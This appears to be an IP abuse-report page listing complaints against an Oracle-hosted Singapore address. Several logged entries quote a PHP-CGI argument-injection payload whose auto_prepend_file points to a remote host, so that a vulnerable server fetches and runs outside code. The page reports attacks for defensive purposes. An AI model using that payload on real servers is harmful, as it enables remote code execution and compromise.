JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

134.185.86.25

Neutral Activity

Abuse confidence score ?

0% Low Risk

116 reports

82 reporters · latest 3 months ago

ISP	Oracle Corporation
Usage Type	Data Center/Web Hosting/Transit
ASN	AS31898
Domain Name	oracle.com
Country	🇸🇬 Singapore
City	Kampong Loyang

ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report Whois

No reports in the last 60 days

134.185.86.25 has been reported 116 times. The most recent report is from 3 months ago.

The full history is preserved below and remains searchable. A 0% score reflects the absence of recent activity, but this is not a guarantee that earlier reports were invalid. Abuse confidence score decays, naturally, over time, when the abusive activity stops.

IP Abuse Reports for 134.185.86.25

This IP address has been reported a total of 116 times from 82 distinct sources. 134.185.86.25 was first reported on December 31st 2025, and the most recent report was 3 months ago.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇩🇪 bogdanv	2026-05-27 14:17:35 (3 months ago)	$f2bV_matches	Brute-Force SSH
Anonymous	2026-01-12 21:05:18 (8 months ago)	Malicious activity detected	Hacking Web App Attack
🇪🇸 el-brujo	2026-01-12 19:01:17 (8 months ago)	12/Jan/2026:20:01:17.070041 +0100Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client ... show more 12/Jan/2026:20:01:17.070041 +0100Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client 134.185.86.25] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:-dsafe_mode=Off -ddisable_functions=NULL -dallow_url_fopen=On -dallow_url_include=On -dauto_prepend_file=http://happymatures.com/chm/000/003/002/amax.txt. [file "/etc/httpd/modsecurity.d/activated_rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "131"] [id "933120"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:-dsafe_mode=Off -ddisable_functions=NULL -dallow_url_fopen=On -dallow_url_include=On -dauto_prepend_file=http://happymatures.com/chm/000/003/002/amax.txt: -dsafe_mode=off -ddisable_functions=null -dallow_url_fopen=on -dallow_url_include=on -dauto_prepend_file=http:/happymatures.com/chm/000/003/002/amax.txt"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.5"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-ph ... show less	Hacking Web App Attack
🇮🇩 sockominfo	2026-01-09 07:00:12 (8 months ago)	PHP CGI-bin vulnerability attempt.. Threat Score: 3.7/10 (LOW). CVSS: 2.7/10 (Low). Bayesian: 36%. M ... show more PHP CGI-bin vulnerability attempt.. Threat Score: 3.7/10 (LOW). CVSS: 2.7/10 (Low). Bayesian: 36%. MITRE: T1016. Reported by TangerangKota-CSIRT show less	Hacking Web App Attack
🇮🇩 sockominfo	2026-01-09 05:00:10 (8 months ago)	PHP CGI-bin vulnerability attempt.. Threat Score: 3.7/10 (LOW). CVSS: 2.7/10 (Low). Bayesian: 34%. M ... show more PHP CGI-bin vulnerability attempt.. Threat Score: 3.7/10 (LOW). CVSS: 2.7/10 (Low). Bayesian: 34%. MITRE: T1016. Reported by TangerangKota-CSIRT show less	Hacking Web App Attack
🇮🇩 sockominfo	2026-01-09 04:00:46 (8 months ago)	PHP CGI-bin vulnerability attempt.. Threat Score: 0/10 (INFORMATIONAL). Reported by TangerangKota-CS ... show more PHP CGI-bin vulnerability attempt.. Threat Score: 0/10 (INFORMATIONAL). Reported by TangerangKota-CSIRT show less	Hacking Web App Attack
🇮🇩 sockominfo	2026-01-09 03:00:07 (8 months ago)	PHP CGI-bin vulnerability attempt.. Threat Score: 3.7/10 (LOW). CVSS: 2.7/10 (Low). Bayesian: 33%. M ... show more PHP CGI-bin vulnerability attempt.. Threat Score: 3.7/10 (LOW). CVSS: 2.7/10 (Low). Bayesian: 33%. MITRE: T1016. Reported by TangerangKota-CSIRT show less	Hacking Web App Attack
Anonymous	2026-01-09 01:55:01 (8 months ago)	IP banned by Fail2Ban in jail nginx-abusive-ips	Brute-Force Bad Web Bot Web App Attack
🇩🇪 conseilgouz	2026-01-09 00:34:08 (8 months ago)	sle-19 : Block XSS attack=>/index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen ... show more sle-19 : Block XSS attack=>/index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3...(-dsafe_mode=Off -ddisable_functions=NULL -dallow_url_fopen=On -dallow_url_include=On -dauto_prepend_file=) show less	Hacking
🇫🇷 conseilgouz	2026-01-09 00:15:51 (8 months ago)	sie-19 : Block XSS attack=>/index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen ... show more sie-19 : Block XSS attack=>/index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3...(-dsafe_mode=Off -ddisable_functions=NULL -dallow_url_fopen=On -dallow_url_include=On -dauto_prepend_file=) show less	Hacking
🇮🇩 Burayot	2026-01-09 00:12:45 (8 months ago)	LF_MODSEC: (mod_security) mod_security (id:949110) triggered by 134.185.86.25 (SG/Singapore/-): 2 in ... show more LF_MODSEC: (mod_security) mod_security (id:949110) triggered by 134.185.86.25 (SG/Singapore/-): 2 in the last 3600 secs show less	Web App Attack
🇬🇧 seniorlinuxadmin	2026-01-08 23:47:01 (8 months ago)	134.185.86.25 - - [08/Jan/2026:23:47:00 +0000] "GET /index.php?-dsafe_mode%3dOff+-ddisable_functions ... show more 134.185.86.25 - - [08/Jan/2026:23:47:00 +0000] "GET /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp://happymatures.com/chm/000/003/002/amax.txt HTTP/1.1" 404 158 "-" "Mozilla/5.0 (compatible; PrivateMonitor/1.0)" show less	Port Scan Web App Attack
🇫🇷 conseilgouz	2026-01-08 23:15:53 (8 months ago)	sae-19 : Block XSS attack=>/index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen ... show more sae-19 : Block XSS attack=>/index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3...(-dsafe_mode=Off -ddisable_functions=NULL -dallow_url_fopen=On -dallow_url_include=On -dauto_prepend_file=) show less	Hacking
🇫🇷 COMAITE	2026-01-08 22:53:36 (8 months ago)	PHP CGI-bin vulnerability attempt.	Web App Attack
🇳🇱 Joop	2026-01-08 20:19:17 (8 months ago)	2026-01-08 21:19:14 +0200 s2 /index.php&-dsafe_modedOff+-ddisable_functionsdNULL+-dallow_url_fopendO ... show more 2026-01-08 21:19:14 +0200 s2 /index.php&-dsafe_modedOff+-ddisable_functionsdNULL+-dallow_url_fopendOn+-dallow_url_includedOn+-dauto_prepend_filedhttp://happymatures.com/chm/000/003/002/amax.txt show less	Web App Attack

Showing 1 to 15 of 116 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇺🇸 167.71.87.252

🇮🇳 103.248.120.6

🇷🇴 94.53.199.67

🇷🇺 92.39.66.226

🇭🇺 91.82.58.77

🇨🇱 190.151.113.6

🇪🇨 186.101.66.61

🇨🇱 181.163.160.10

🇺🇸 178.128.159.97

🇮🇩 163.7.8.79

🇻🇳 150.95.105.97

🇺🇸 137.118.165.129

🇹🇭 125.26.77.148

🇮🇩 103.165.206.238

🇩🇪 69.5.169.189

🇺🇸 66.132.195.40

🇺🇸 66.76.248.144

🇦🇹 46.125.149.174

🇻🇳 14.224.238.73

🇺🇸 9.138.78.185